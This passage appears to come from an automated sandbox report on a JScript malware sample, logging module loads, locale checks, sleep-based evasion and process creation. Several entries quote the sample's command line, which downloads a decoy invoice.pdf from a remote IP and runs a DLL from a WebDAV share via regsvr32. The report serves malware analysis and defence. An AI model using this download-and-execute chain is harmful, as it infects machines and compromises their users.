Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3777.js.csv");ITextStream.WriteLine(" entry:8933 f:tuewgizu");ITextStream.WriteLine(" exec:2 f:tuewgizu");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4266			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4970			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2344	Thread sleep count: 4266 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6372	Thread sleep count: 4970 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6036	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7268	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5172	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7280	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7476	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7720	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 0000000C.00000002.1328773049.00000175691EA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1319707882.00000175691EA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1328366646.0000017569188000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2550063086.000001FC7F25B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2547788485.000001FC7DA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2550037764.000001FC7F22D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000C.00000002.1328773049.00000175691EA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1319707882.00000175691EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW+

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
